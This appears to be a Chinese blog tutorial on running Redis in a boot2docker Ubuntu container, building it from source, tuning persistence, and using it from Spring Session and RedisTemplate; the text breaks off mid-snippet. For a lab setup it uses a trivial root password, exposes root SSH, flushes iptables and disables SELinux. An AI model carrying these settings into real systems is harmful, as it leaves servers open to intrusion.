Redis是什么 Redis是一个NOSQL,NOSQL有许多种,它们分为: 列存储,如:Hbase、Cassandra这种 文档存储,如:MongoDB(首推) key-value存储,如:Berkeley DB、MemcacheDB、Redis,其中Redis最强 图存储,这块基本不用,有:Neo4j、Versant XML存储,如:Berkeley DB Xml还有XBASE,ORACLE很早已经支持这种存储方式了 光知道这些NOSQL的名词是没有用的,关键在于要知道在哪种场景下选用哪种NOSQL才是我们真正要去掌握的。 我们这边说Redis就拿Redis说事吧,它能干什么呢? Redis基础应用场景 web间session共享,即多个war工程共享一个session 分布式缓存,因为redis为键值对,而且它提供了丰富的adapter可以支持到C、.net、java客户端,因此对于异质平台间进行数据交换起到了作用,因此它可以用作大型系统的分布式缓存,并且其setnx的锁常被用于”秒杀“,”抢红包“这种电商活动场景中。 安装Redis 我本来想在这儿写”Redis上的‘坑‘“,最后我还是觉得把它放到后面章节中去写吧,因为中国人的思维是先有感性再有理性的一种逆向思维,其实这点很像美国人,因此中国人在世界上是最聪明的民族之一,所以我们还是先从动手搭一个Redis的环境来说起吧,老规矩,红色加粗很重要。 一定要使用Linux来布署Redis,请不要偷懒使用Redis 2.8.1 for windows那个版本,如果你使用了这个版本你将无法跟上这一系列教程的步伐。因为Redis为GCC+这样的东西开发出来的,它天生就是运行在LINUX/Unix环境下的,而那个windows版的Redis是一个”烟“割版,而且是一个unofficial的版本,非官方授权的哈。 先从Docker开始 如果已经有Linux/Unix环境的同协们可以直接跳过这一章。 我们这边要开始变态了,因为我们要真正开始踏上SOA、PAAS、互联网的脚步了。 如果对于没有Linux/Unix环境的用户来说,我在这边推荐使用docker,即boot2docker windows版来安装,它下载后是一个这样的文件 安装前把你的网络连接中的IPV6协议前的勾去掉 双击它,在安装时记得选择Virtual-Box选项,因为docker本为linux/unix下之物,因此为了在windows下使用docker,boot2docker内嵌了一个virtualbox来虚拟docker的环境。 装完后它会在你的桌面上生成一个蓝色的图标,双击它,它会打开一个绿色的字,黑色的背景像matrix电影里的那种命令行窗口,这就是Docker。 装完后运行: [plain] view plain copy 在CODE上查看代码片派生到我的代码片 docker@boot2docker:~$ docker run hello-world 看到下面这些提示 [plain] view plain copy 在CODE上查看代码片派生到我的代码片 Hello from Docker. This message shows that your installation appears to be working correctly. To generate this message, Docker took the following steps: 1. The Docker client contacted the Docker daemon. 2. The Docker daemon pulled the “hello-world” image from the Docker Hub. (Assuming it was not already locally available.) 3. The Docker daemon created a new container from that image which runs the executable that produces the output you are currently reading. 4. The Docker daemon streamed that output to the Docker client, which sent it to your terminal. To try something more ambitious, you can run an Ubuntu container with: $ docker run -it ubuntu bash For more examples and ideas, visit: http://docs.docker.com/userguide/ 说明你的Docker安装成功了。 在Docker中安装unix环境 有了Docker我们就用Docker虚拟一个Ubuntu(UNIX)环境吧,在这边我们使用的是Ubuntu14。 ubuntu14请下载这个包:戳: 下载Ubuntu14包 下载后直接在docker下运行下面这条命令: [plain] view plain copy 在CODE上查看代码片派生到我的代码片 cat ubuntu-14.04-x86_64.tar.gz |docker import - ubuntu:ubuntu14 这个过程会很快,完成后查看自己的image: 成功导入了ubuntu,这样我们就可以在Docker中运行出一个自己的ubuntu了。 [plain] view plain copy 在CODE上查看代码片派生到我的代码片 docker run -i -t ubuntu:ubuntu14 /bin/bash 以上运行后,进入了该ubuntu的bash环境。 注:如果上述命令出错,可以使用下面这条命令: [plain] view plain copy 在CODE上查看代码片派生到我的代码片 docker run -i -t ubuntu:ubuntu14 //bin/bash 两个 “/” 哈 如果你能看到类似于root@ubuntu14_这样的命令行界面说明你的ubuntu14也已经安装成功了,下面我们就要在这个docker->ubuntu14中安装和布署我们的Redis了,这个过程和在Linux下一样。 在ubuntu14下先安装SSHD,以便于我们使用WINSCP这样的SFTP工具来管理我们的ubuntu14中的文件系统 在ubuntu14中安装SSHD 第一步: [plain] view plain copy 在CODE上查看代码片派生到我的代码片 docker run -t -i ubuntu/mk:v1 /bin/bash 进入我们的ubuntu环境,这边的ubuntu/mk就是我本机的docker中ubuntu14 container(容器)的名字,如果按照上面的延续此处可以替换成ubuntu:ubuntu14这个名字吧。 第二步: 升级一下你的apt-get,它就是一个命令行IE下载工具,如果你不update,那么你apt-get的源、内核都为旧的,因此为了升级apt-get请键入下面的命令 [plain] view plain copy 在CODE上查看代码片派生到我的代码片 apt-get update 这个过程很快(依赖于你的网络环境) 第三步: 下载和安装openssh组件 [plain] view plain copy 在CODE上查看代码片派生到我的代码片 apt-get install openssh-server openssh-client 第四步: 修改你的root密码 [plain] view plain copy 在CODE上查看代码片派生到我的代码片 passwd 键入两次你的root密码,我这边都为6个小写的a 第五步: 退出容器,并保存以上修改,如果docker在退出后你接着退出docker环境或者是关机那么刚才的4步全部不生效,你一定要commit它才能生效,为此: 你先要知道你刚才用docker run命令运行的ubuntu14的容器的ID,你可以使用 [plain] view plain copy 在CODE上查看代码片派生到我的代码片 docker ps -a 来查到你latest的一次容器的ID,它是一组16进制一样的编码如:1edfb9aabde8890,有了这个container id我们就可以commit我们刚才装的openssh的环境了 commit刚才在容器中所做的修改 [plain] view plain copy 在CODE上查看代码片派生到我的代码片 docker commit 1edfb9aabde8890 ubuntu:ssh 第六步: 运行带有openssh的ubuntu14以便于我们使用winscp这样的SFTP工具连入我们的ubuntu14中去,依次输入下面的命令: [plain] view plain copy 在CODE上查看代码片派生到我的代码片 docker kill $(docker ps -q) 杀掉正在运行的所有的container的进程 [plain] view plain copy 在CODE上查看代码片派生到我的代码片 docker rm $(docker ps -a -q) 删除所有在进程中的容器,以上2步又被称为docker大扫除 Docker是这样的机制的,它可以开启多个容器,每个容器带着一堆的image(镜像),要删一个镜像必须先停止这个镜像所在的容器,再把这个镜像删除,因此我们使用上面这两条命令对于Docker来一个大扫除。 接着我们先查一下我们目前手头有的镜像 [plain] view plain copy 在CODE上查看代码片派生到我的代码片 docker images 你会看到一个images列表,里面有我们的ubuntu:14,有我们的ubuntu:ssh也有一个hello-world,我们把ubuntu:14这个镜像删了吧(为了保持干净哈) 每个image也它自己的id,即image id,因此你用docker images命令查到该镜像的id后可以使用: [plain] view plain copy 在CODE上查看代码片派生到我的代码片 docker rmi imageid 这条命令把一个不用的镜像给删了。 接下去我们要启动我们的ubuntu14:ssh了,可以使用下面这条命令: [plain] view plain copy 在CODE上查看代码片派生到我的代码片 docker -d -p 122:22 ubuntu:ssh //usr/sbin/sshd -D 这条命令的意思为: -d即把我们的image启动在后台进程,它将会是一个daemon进程,而不会像刚才我们使用-t一样,一旦exit后该image进程也自动退出了 -p为端口映射,什么意思呢,这边要说一下docker的端口映射问题。我们知道docker安装后它会利用virtualbox中的vhost only的nat机制来建立一个虚拟的IP 可以打开我们的virtualbox中在菜单”全局->设定->网络”中进行查找 所以我们可以知道一旦boot2docker环境运行后它的地址为192.168.56.*这个段,一般为192.168.56.101这个地址,你可以在boot2docker启动后直接使用winscp边入这个docker环境。 地址:192.168.56.101 端口:22 用户名:docker 密码:tcuser 以上为默认值,具体地址按照你的virtualbox中在boot2docker安装时自动给出的设置来做参考。 而, 我们在这个docker中安装了一个ubuntu14:ssh的image,然后用后台进程的方式打开了这个ubuntu14:ssh,因此它自己也有一个IP(可能是172也可能是169段),具体不得而知,一般来说它是每次启动镜像后自己变换的(可以使用动态网络域名绑定docker中镜像的ip来达到域名不变的目的-集群环境下有用)。 我们都知道ssh是以端口22来进行TCP连接的,因此我们把ubuntu14的IP上的22端口映射到了我们的docker主机192.168.56.101上的122端口。 参数//usr/sbin/sshd -D代表该镜像启动会的entrypoint即启动后再启动一个什么命令,在最后的-D(大写的D)告诉docker这是一个启动文件 于是,一旦该命令发出后,显示image启动的提示后(启动后你会得到一个image id)你就可以直接打开你的winscp使用: 地址:192.168.56.101 端口:122 (此处是122,不是22,因为我们把image的22端口映射到了192.168.56.101-docker主机上的122端口了) 用户名:root 密码:aaaaaa 即可以连入我们的ubuntu14环境了,如果此时你安装了putty还可以使用putty+winscp直接进入ubuntu14的命令行环境中去,于是你就有ubuntu14的试验环境了。 在ubuntu14下安装redis 网上很多在ubuntu14下安装redis的教程都不对的,大家看了要上当的,原因在于如下,请各位看完: 网上的redis环境搭建直接使用的是apt-get update完后用wget https://github.com/ijonas/dotfiles/raw/master/etc/init.d/redis-server 这样的方式来安装的,这样装固然方便,可是也因为方便所以取到的redis不是最新的redis版本,一般为2.8.x版或者是redis3.0.rc,这依赖于你的unit/linux所连接的wget库 redis为c写成,它的2.4-2.8版都为不稳定版或者是缺少功能或者是有bug,而这些bug在你如果真正使用redis作为网站生产环境时将会因为这些bug而无法面对峰涌而来的巨大并发,因此当有这样的redis运行了一段时间后你的生产环境会面临着巨大的压力 还是redis不够新不够稳定的原因,由于在redis3前redis还不支持集群、主备高可用方案的功能,因此不得不依靠于繁杂的打补丁式的如:linux/unix-keepalive或者是haproxy这种系统级层面然后写一堆的复杂脚本去维护你的redis集群,还要用外部手段(Linux/Unix Shell脚本)去维护多个redis节点间的缓存数据同步。。。这这这。。。不复合我们的网站扩容、增量、运维和面对巨大用户(万级并发-最高支持百万用户如:新浪微博、微信)的场景 因此,我在这边推荐大家使用下面我将要使用的“下载源码包结合你本机的Linux/Unix内核进行实时编译”的安装过程。 第一步:下载redis目前最稳定版本也是功能最完善,集群支持最好并加入了sentinel(哨兵-高可用)功能的redis3.0.7版即redis-stable版,为此我们需要获取redis-stable版 redis官方下载连接 就是用的这个redis-stable.tar.gz包,这是我在写博客时目前最新最稳定版本,修复了大量的BUG和完善了功能。 第二步: 下载后我们把该包上传到我们的docker中的ubuntu14中,我们把它放在/opt目录下 然后我们使用tar -zxvf redis-stable.tar.gz对它进行解压 解压后它就会生成一个redis-stable目录,进入该目录 cd redis-stable 别急,我们先一会编译和安装它 第三步:编译安装redis 我们先输入gcc -v 这个命令来查看我们的gcc版本,如果它低于4.2以下那么你在编译redis3.0.7时一定会碰到大量的出错信息,如前面所述,redis为gcc写成,最新的redis需要gcc4.2-5这个版本才能进行编译,而一般去年或者之前装的linux/unix 的 gcc都为4.0以下或者甚至是3.x版。 升级GCC先 [plain] view plain copy 在CODE上查看代码片派生到我的代码片 apt-get install build-essential 因此apt-get update显得很重要,要不然你获取的gcc也将不是最新的版本,目前我的gcc为5.3.1为这周刚做的升级。 升级后我们开始编译redis3.0.7了,为此我们需要在redis-stable目录下 键入如下命令: [plain] view plain copy 在CODE上查看代码片派生到我的代码片 make PREFIX=/usr/local/redis1 install 我们告知我们的GCC把redis-stable编译并同时安装在/usr/local/redis1目录下 这个过程很快,可能只有10秒钟时间(依据你的机器来说,建议使用>=8gb, 4核CPU的PC机),然后我们就可以看到everything ok了。我们进入/usr/local/redis1就可以看到我们刚才安装的redis3.0.7稳定版了。 我们进入我们的redis目录 cd /usr/local/redis1/bin 在此目录下我们即可以运行我们的redis server了,不过请别急,在启动前我们需要对redis进行一些配置。 我的博客面对的是“全栈式”工程师的,架构师只是成为全栈式工程师中的一个起点,如果你不会搭环境那么你就不能接触到最新的技术,因此这就是许多程序员工作了近5年,7年结果发觉也只会一个SSH的主要原因。 Redis3配置要领 使用winscp通过122连入docker下的ubuntu14,进行redis的配置。 我们需要编辑的文件为/usr/local/redis1/bin/redis.conf这个文件 [plain] view plain copy 在CODE上查看代码片派生到我的代码片 daemonize yes # When running daemonized, Redis writes a pid file in /var/run/redis.pid by # default. You can specify a custom pid file location here. pidfile "/var/run/redis/redis1.pid" # Accept connections on the specified port, default is 6379. # If port 0 is specified Redis will not listen on a TCP socket. port 7001 我们把: daemonize设为yes,使得redis以后台进程的方式来运行,你可以认为为“server”模式,如果redis以server模式运行的话它会生成一个pid文件 ,因此我们把它的路径放在/var/run/redis目录中,并命名它为redis1.pid文件 ,为此你需要在/var/run目录下建立redis这个目录 端口号我们把它设为7001,这样好辩识,因为将来我们会进一步做redis集群,所以我们的redis都为redis1, redis2, redis3那么我们的端口号也为7001, 7002, 7003。。。这样来延续。那么很多同协这时要问了,“为什么我们不把它命名成master, slave1, slave2这样的名字呢?”,理由很简单,无论是现在的hadoop还是zookeeper它们的集群是跨机房的,多个master间也有MASTER-SLAVE模式互为备份,因为一些大型网站不仅仅只有一个IDC机房,它们一般都会有2个,3个IDC机房,或者是在同一个IDC机房中有“跨机柜”的布署来形成超大规模集群,就和ALI的TAOBAO网一样,它在北美都有机房,因此当你需要在LOCAL NATIVE建一个IDC机房,在北美再做一个机房,你不要想把一个MASTER设在中国,SLAVE设到美国去,而是多地甚至是多机柜都有MASTER,一旦一个MASTER宕机了,这种集群会通过一个叫“选举策略”选出一个节点把这个节点作为当前“群”的MASTER,因此我们的命名才会是redis1, redis2, redis3...这样来命名的。 此处把原来的: [plain] view plain copy 在CODE上查看代码片派生到我的代码片 save 900 1 save 300 10 save 60 10000 中的300 10 和60 10000注释掉。这边代表的是: redis以每900秒写一次、300秒写10次,60秒内写1万次这样的策略把缓存放入一个叫.rdb的磁盘文件中,这点和ehcache或者是memcache很像,以便于redis在重启时可以从本地持久化文件中找出关机前的数据记录。 如果按照默认的话,此三个策略会轮流起效,在大并发环境中,这样的写策略将会对我们的性能造成巨大的影响,因此我们这边只保留900秒写1次这条策略,这边有人会问,如果你这样会有数据丢失怎么办。。。别急,这个问题我们后面会解答,这涉及到redis的“正确”使用,如果它只是一个缓存,我相信5分钟内缓存的丢失此时程序直接访问数据库也不会有太大问题,又要保证数据完整性又要保证性能这本身是一个矛与盾的问题,除非你钱多了烧那我会给出你一个烧钱的配置策略,连新浪都不会这么烧钱,呵呵。 dbfilename,此处我们维持redis原有的缓存磁盘文件的原名 dir "/usr/local/redis1/data"为rdb文件所在的目录 这边大家要注意的是一个是只能写文件名,另一个地方只能写目录名。 为此我们需要在/usr/local/redis1下建立 data目录。 把此处的appendonly设为no,这样我们就关闭了Redis的AOF功能。 AOF 持久化记录服务器执行的所有写操作命令,并在服务器启动时,通过重新执行这些命令来还原数据集。AOF是redis在集群或者是高可用环境下的一个同步策略,它会不断的以APPEND的模式把redis的缓存中的数据从一个节点写给另一个节点,它对于数据的完整性保证是要高于rdb模式的。 RDB 是一个非常紧凑(compact)的文件,它保存了 Redis 在某个时间点上的数据集。 这种文件非常适合用于进行备份: 比如说,你可以在最近的 24 小时内,每小时备份一次 RDB 文件,并且在每个月的每一天,也备份一个 RDB 文件。 这样的话,即使遇上问题,也可以随时将数据集还原到不同的版本。RDB 非常适用于灾难恢复(disaster recovery):它只有一个文件,并且内容都非常紧凑,可以(在加密后)将它传送到别的数据中心如阿里的mysql异地机房间使用FTP传binlog的做法。 按照官方的说法,启用AOF功能,可以在redis高可用环境中如果发生了故障客户的数据不会有高于2秒内的历史数据丢失,它换来的代价为高昂的I/O开销,有些开发者为了追求缓存中的数据100%的正确有时会碰到因为redis在AOF频繁刷新时整个环境如死机一的情况,并且你会看到恶梦一般的”Asynchronous AOF fsync is taking too long “警告信息,这是因为redis它是单线程的,它在进行I/O操作时会阻塞住所有的操作,包括登录。。。这个很可怕,不过这个BUG/ISSUE已经在最新redis中进行了优化,它启用了另一根进程来进行AOF刷新,包括优化了RDB持久化功能,这也是为什么我让大家一定一定要用最新最稳定版的redis的原因。 一般默认情况下redis内的rdb和AOF功能同为开启, 如果RDB的数据不实时,同时使用两者时服务器重启也只会找AOF文件。 因为RDB文件只用作后备用途,建议只在Slave上持久化RDB文件,而且只要15分钟备份一次就够了,所以我只保留save 900 1这条规则。 如果Enalbe AOF: 好处是在最恶劣情况下也只会丢失不超过两秒数据,启动脚本较简单只load自己的AOF文件就可以了。 代价一是带来了持续的IO,二是AOF rewrite的最后将rewrite过程中产生的新数据写到新文件造成的阻塞几乎是不可避免的。只要硬盘许可,应该尽量减少AOF rewrite的频率,AOF重写的基础大小默认值64M太小了,可以设到5G以上。默认超过原大小100%大小时重写,这边可以设定一个适当的数值。 如果不Enable AOF ,仅靠Master-Slave Replication 实现高可用性也可以。能省掉极大的IO也减少了rewrite时带来的系统波动。代价是如果Master/Slave同时倒掉(那你的网站基本也就歇了),会丢失十几分钟的数据,启动脚本也要比较两个Master/Slave中的RDB文件,载入较新的那个。新浪微博就选用了这种架构。 最后我们不要忘了设一个redis的log文件,在此我们把它设到了/var/log/redis目录,为此我们需要在/var/log目录下建立一个redis目录。 好了,保存后我们来启动我们的redis吧。 我们使用以下这条命令来启动我们的redis server。 然后我们在我们的windows机上装一个windows版的redis 2.8.1 for windows(只用它来作为redis的client端) 然后我们在windows环境下使用: redis-cli -p 7001 -h 192.168.56.101 咦,没反映,连不上,哈哈。。。。。。 那是肯定连不上的,因为: 我们刚才在用docker启动ubuntu14时使用docker -d -p 122:22 ubuntu:ssh //usr/sbin/sshd -D来启动的,这边我们并未把redis服务的7001端口映射到192.168.56.101这台docker主机上,怎么可以通过windows主机(可能windows的ip为169.188.xx.xx)来访问docker内的进程服务呢?对吧,为此我们:先把刚才做了这么多的更改docker commit成一个新的image如:redis:basic吧。 然后我们对docker进行一次大扫除,然后我们启动redis:basic这个image并使用以下命令: [plain] view plain copy 在CODE上查看代码片派生到我的代码片 docker -d -p 122:22 -p 7001:7001 redis:basic //usr/sbin/sshd -D 看,此处我们可以使用多个-p来作docker内容器的多端口映射策略(它其实使用的就是iptables命令)。 好了,用putty连入这个image的进程并启动redis服务,然后我们拿windows中的redis-cli命令来连。 如果在linux环境下还是没有连通(可能的哦),那是因为你没有禁用linux下的防火墙,我们可以使用iptables -F来禁用linux的防火墙或者使用: vi /etc/selinux/config 然后把 SELINUX=enforcing 这句用”#“注释掉 增加一句: SELINUX=disabled #增加 这样每次启动后linux都不会有iptables的困扰了(这是在本机环境下这么干哦,如果你是生产环境请自行加iptables策略以允许redis服务端口可以被访问)。 看到下面这个PONG即代表你的redis服务已经在网络环境中起效了。 下面我们要开始使用Java客户端来连我们的Redis Service了。 使用Spring Data + JEDIS来连接Redis Service Spring+Session+Redis pom.xml 在此我们需要使用spring data和jedis,下面给出相关的maven配置 [html] view plain copy 在CODE上查看代码片派生到我的代码片 <dependencies> <!-- poi start --> <dependency> <groupId>org.apache.poi</groupId> <artifactId>poi</artifactId> <version>${poi_version}</version> </dependency> <dependency> <groupId>org.apache.poi</groupId> <artifactId>poi-ooxml-schemas</artifactId> <version>${poi_version}</version> </dependency> <dependency> <groupId>org.apache.poi</groupId> <artifactId>poi-scratchpad</artifactId> <version>${poi_version}</version> </dependency> <dependency> <groupId>org.apache.poi</groupId> <artifactId>poi-ooxml</artifactId> <version>${poi_version}</version> </dependency> <!-- poi end --> <!-- active mq start --> <dependency> <groupId>org.apache.activemq</groupId> <artifactId>activemq-all</artifactId> <version>5.8.0</version> </dependency> <dependency> <groupId>org.apache.activemq</groupId> <artifactId>activemq-pool</artifactId> <version>${activemq_version}</version> </dependency> <dependency> <groupId>org.apache.xbean</groupId> <artifactId>xbean-spring</artifactId> <version>3.16</version> </dependency> <!-- active mq end --> <!-- servlet start --> <dependency> <groupId>javax.servlet</groupId> <artifactId>servlet-api</artifactId> <version>${javax.servlet-api.version}</version> <scope>provided</scope> </dependency> <dependency> <groupId>javax.servlet.jsp</groupId> <artifactId>jsp-api</artifactId> <version>2.1</version> <scope>provided</scope> </dependency> <dependency> <groupId>javax.servlet</groupId> <artifactId>jstl</artifactId> <version>1.2</version> </dependency> <!-- servlet end --> <!-- redis start --> <dependency> <groupId>redis.clients</groupId> <artifactId>jedis</artifactId> <version>2.7.2</version> </dependency> <dependency> <groupId>org.redisson</groupId> <artifactId>redisson</artifactId> <version>1.0.2</version> </dependency> <!-- redis end --> <dependency> <groupId>org.slf4j</groupId> <artifactId>jcl-over-slf4j</artifactId> <version>${slf4j.version}</version> </dependency> <dependency> <groupId>org.slf4j</groupId> <artifactId>slf4j-log4j12</artifactId> <version>${slf4j.version}</version> </dependency> <!-- spring conf start --> <dependency> <groupId>org.springframework.data</groupId> <artifactId>spring-data-redis</artifactId> <version>1.6.2.RELEASE</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-webmvc</artifactId> <version>${spring.version}</version> <exclusions> <exclusion> <groupId>commons-logging</groupId> <artifactId>commons-logging</artifactId> </exclusion> </exclusions> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-tx</artifactId> <version>${spring.version}</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-aop</artifactId> <version>${spring.version}</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-context-support</artifactId> <version>${spring.version}</version> </dependency> <dependency> <groupId>org.springframework.data</groupId> <artifactId>spring-data-redis</artifactId> <version>1.6.2.RELEASE</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-orm</artifactId> <version>${spring.version}</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-jms</artifactId> <version>${spring.version}</version> </dependency> <dependency> <groupId>org.springframework.session</groupId> <artifactId>spring-session</artifactId> <version>${spring.session.version}</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-core</artifactId> <version>${spring.version}</version> </dependency> <!-- spring conf end --> </dependencies> redis-config.xml [html] view plain copy 在CODE上查看代码片派生到我的代码片 <?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:p="http://www.springframework.org/schema/p" xmlns:context="http://www.springframework.org/schema/context" xmlns:jee="http://www.springframework.org/schema/jee" xmlns:tx="http://www.springframework.org/schema/tx" xmlns:aop="http://www.springframework.org/schema/aop" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd"> <context:property-placeholder location="classpath:/spring/redis.properties" /> <context:component-scan base-package="org.sky.redis"> </context:component-scan> <bean id="jedisConnectionFactory" class="org.springframework.data.redis.connection.jedis.JedisConnectionFactory"> <property name="hostName" value="${redis.host.ip}" /> <property name="port" value="${redis.host.port}" /> <property name="poolConfig" ref="jedisPoolConfig" /> </bean> <bean id="jedisPoolConfig" class="redis.clients.jedis.JedisPoolConfig"> <property name="maxTotal" value="${redis.maxTotal}" /> <property name="maxIdle" value="${redis.maxIdle}" /> <property name="maxWaitMillis" value="${redis.maxWait}" /> <property name="testOnBorrow" value="${redis.testOnBorrow}" /> <property name="testOnReturn" value="${redis.testOnReturn}" /> </bean> <bean id="redisTemplate" class="org.springframework.data.redis.core.StringRedisTemplate"> <property name="connectionFactory" ref="jedisConnectionFactory" /> </bean> <!--将session放入redis --> <bean id="redisHttpSessionConfiguration" class="org.springframework.session.data.redis.config.annotation.web.http.RedisHttpSessionConfiguration"> <property name="maxInactiveIntervalInSeconds" value="1800" /> </bean> <bean id="customExceptionHandler" class="sample.MyHandlerExceptionResolver" /> </beans> redis.properties [plain] view plain copy 在CODE上查看代码片派生到我的代码片 redis.host.ip=192.168.0.101 redis.host.port=6379 redis.maxTotal=1000 redis.maxIdle=100 redis.maxWait=2000 redis.testOnBorrow=false redis.testOnReturn=true web.xml [html] view plain copy 在CODE上查看代码片派生到我的代码片 <?xml version="1.0" encoding="UTF-8"?> <web-app version="2.5" xmlns="http://java.sun.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"> <!-- - Location of the XML file that defines the root application context - Applied by ContextLoaderListener. --> <!-- tag::context-param[] --> <context-param> <param-name>contextConfigLocation</param-name> <param-value> classpath:/spring/redis-conf.xml </param-value> </context-param> <!-- end::context-param[] --> <!-- tag::springSessionRepositoryFilter[] --> <filter> <filter-name>springSessionRepositoryFilter</filter-name> <filter-class>org.springframework.web.filter.DelegatingFilterProxy</filter-class> </filter> <filter-mapping> <filter-name>springSessionRepositoryFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> <session-config> <session-timeout>30</session-timeout> </session-config> <!-- end::springSessionRepositoryFilter[] --> <filter> <filter-name>encodingFilter</filter-name> <filter-class>org.springframework.web.filter.CharacterEncodingFilter</filter-class> <init-param> <param-name>encoding</param-name> <param-value>UTF-8</param-value> </init-param> <init-param> <param-name>forceEncoding</param-name> <param-value>true</param-value> </init-param> </filter> <filter-mapping> <filter-name>encodingFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> <servlet> <servlet-name>dispatcher</servlet-name> <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class> <init-param> <param-name>contextConfigLocation</param-name> <param-value>classpath:/spring/spring-mvc.xml</param-value> </init-param> <load-on-startup>1</load-on-startup> </servlet> <servlet-mapping> <servlet-name>dispatcher</servlet-name> <url-pattern>/</url-pattern> </servlet-mapping> <!-- - Loads the root application context of this web app at startup. - The application context is then available via - WebApplicationContextUtils.getWebApplicationContext(servletContext). --> <!-- tag::listeners[] --> <listener> <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class> </listener> <!-- end::listeners[] --> <servlet> <servlet-name>sessionServlet</servlet-name> <servlet-class>sample.SessionServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>sessionServlet</servlet-name> <url-pattern>/servlet/session</url-pattern> </servlet-mapping> <welcome-file-list> <welcome-file>index.jsp</welcome-file> </welcome-file-list> </web-app> 这边主要是一个: [html] view plain copy 在CODE上查看代码片派生到我的代码片 <filter> <filter-name>springSessionRepositoryFilter</filter-name> <filter-class>org.springframework.web.filter.DelegatingFilterProxy</filter-class> </filter> <filter-mapping> <filter-name>springSessionRepositoryFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> <session-config> <session-timeout>30</session-timeout> </session-config> 这个filter一定要写在一切filter之前 SessionController [java] view plain copy 在CODE上查看代码片派生到我的代码片 package sample; import org.springframework.session.data.redis.config.annotation.web.http.EnableRedisHttpSession; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.RequestMapping; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpSession; /** * Created by mk on 15/1/7. */ @Controller @EnableRedisHttpSession public class SessionController { @RequestMapping("/mySession") public String index(final Model model, final HttpServletRequest request) { if (request.getSession().getAttribute("testSession") == null) { System.out.println("session is null"); request.getSession().setAttribute("testSession", "yeah"); } else { System.out.println("not null"); } return "showSession"; } } showSession.jsp文件 [html] view plain copy 在CODE上查看代码片派生到我的代码片 <%@ page language="java" contentType="text/html; charset=utf-8" pageEncoding="utf-8"%> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>showSession</title> </head> <body> <% String sessionValue=(String)session.getAttribute("testSession"); %> <h1>Session Value From Servlet is: <%=sessionValue%></h1> </body> </html> 测试 保证我们的redise-server是启动的,然后我们启动起这个web工程后使用: http://localhost:8080/webpoc/mySession访问一下这个controller 此时我们使用redis客户端工具连入查看spring session是否已经进入到了redis中去。 在redis客户端工具连入后我们可以在redis console中使用keys *来查看存入的key,LOOK,spring的session存入了redis中去了。 再来看我们的eclipse后台,由于我们是第一次访问这个controller,因此这个session为空,因此它显示如下: 我们在IE中再次访问该controller 由于之前的session已经存在于redis了,因此当用户在1800秒(30分钟)内再次访问controller,它会从session中获取该session的key testSession的值,因此eclipse后台打印为not null。 SpringRedisTemplate + Redis 讲过了spring session+redis我们来讲使用spring data框架提供的redisTemplate来访问redis service吧。说实话,spring这个东西真强,什么都可以集成,cassandra, jms, jdbc...jpa...bla...bla...bla...Spring集成Barack Hussein Obama? LOL :) pom.xml 不用列了,上面有了 redis-conf.xml 不用列了,上面有了 web.xml 也不用列了,上面也有了 SentinelController.java 我们就先用这个名字吧,后面我们会用它来做我们的redis sentinel(哨兵)的高可用(HA)集群测试 [java] view plain copy 在CODE上查看代码片派生到我的代码片 package sample; import java.util.HashMap; import java.util.Map; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.context.ApplicationContext; import org.springframework.context.support.ClassPathXmlApplicationContext; import org.springframework.data.redis.core.BoundHashOperations; import org.springframework.data.redis.core.StringRedisTemplate; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.ExceptionHandler; import org.springframework.web.bind.annotation.RequestMapping; import redis.clients.jedis.Jedis; import redis.clients.jedis.JedisSentinelPool; import util.CountCreater; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpSession; /** * Created by xin on 15/1/7. */ @Controller public class SentinelController { @Autowired private StringRedisTemplate redisTemplate; @RequestMapping("/sentinelTest") public String sentinelTest(final Model model, final HttpServletRequest request, final String action) { return "sentinelTest"; } @ExceptionHandler(value = { java.lang.Exception.class }) @RequestMapping("/setValueToRedis") public String setValueToRedis(final Model model, final HttpServletRequest request, final String action) throws Exception { CountCreater.setCount(); String key = String.valueOf(CountCreater.getCount()); Map mapValue = new HashMap(); for (int i = 0; i < 1000; i++) { mapValue.put(String.valueOf(i), String.valueOf(i)); } try { BoundHashOperations<String, String, String> boundHashOperations = redisTemplate .boundHashOps(key); boundHashOperations.putAll(mapValue); System.out.println("put key into redis"); } catch (Exception e) { e.printStackTrace(); throw new Exception(e); } return "sentinelTest"; } } 打开IE,输入:http://localhost:8080/webpoc/setValueToRedis 观察我们的后台 然后使用redis client连入后进行查看 看。。。这个值key=1的,就是我们通过spring的redisTemplate存入进去的值,即使用下面这段代码进行存入的值: [java] view plain copy 在CODE上查看代码片派生到我的代码片 for (int i = 0; i < 1000; i++) { mapValue.put(String.valueOf(i), String.valueOf(i)); } try { BoundHashOperations<String, String, String> boundHashOperations = redisTemplate.boundHashOps(key); boundHashOperations.putAll(mapValue); 如何你要存入一个简单的如key=test value=hello,你可以这样使用你的redisTemplate [java] view plain copy 